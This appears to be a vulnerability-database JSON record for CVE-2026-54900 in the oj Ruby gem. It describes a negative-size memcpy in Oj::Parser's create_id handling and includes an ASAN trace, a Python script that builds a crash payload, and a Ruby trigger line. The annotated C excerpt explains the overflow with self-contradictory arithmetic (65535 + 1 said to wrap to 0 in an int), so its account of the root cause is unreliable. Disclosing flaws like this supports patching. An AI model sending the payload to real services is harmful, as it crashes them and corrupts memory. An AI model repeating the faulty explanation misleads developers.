{"id":"CVE-2026-54900","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54900","summary":"Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling","details":"### Summary\n\n`Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/usual.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/usual.c`, `form_attr`:\n\n```c\n// usual.c:55–64\nstatic ID form_attr(const char *str, size_t slen) {\n    char        buf[4096];\n    // ...\n    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0\n                                  //   or: 65535 cast to int = 65535 (fits),\n                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX\n    // ...\n    memcpy(buf, \"@\", 1);\n    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX\n}\n```\n\nThe cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`.\n\nASAN report:\n```\n==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)\n    #0 memcpy\n    #1 form_attr          /ext/oj/usual.c:63\n    #2 cache_intern       /ext/oj/cache.c:326\n    #3 get_attr_id        /ext/oj/usual.c:186\n    #4 close_object_create  /ext/oj/usual.c:374\n    #5 parse              /ext/oj/parser.c:693\n    #6 parser_parse       /ext/oj/parser.c:1408\n0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)\n```\n\n### Reproduce\n\nGenerate the payload:\n\n```python\nkey = 'A' * 65535\nwith open('poc.json', 'w') as f:\n    f.write('{\"json_class\":\"Oj::Bag\",\"' + key + '\":1}')\n```\n\nTrigger:\n\n```ruby\nrequire 'oj'\nOj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)\n```","published":"2026-06-19T20:47:23Z","modified":"2026-06-26T19:59:20.244741873Z","cvss":null,"epss":{"score":0.00428,"percentile":0.35897,"asOf":"2026-09-07"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"oj","fixedVersion":"3.17.3"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx"},{"type":"PACKAGE","url":"https://github.com/ohler55/oj"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-26T19:59:20.244741873Z"}}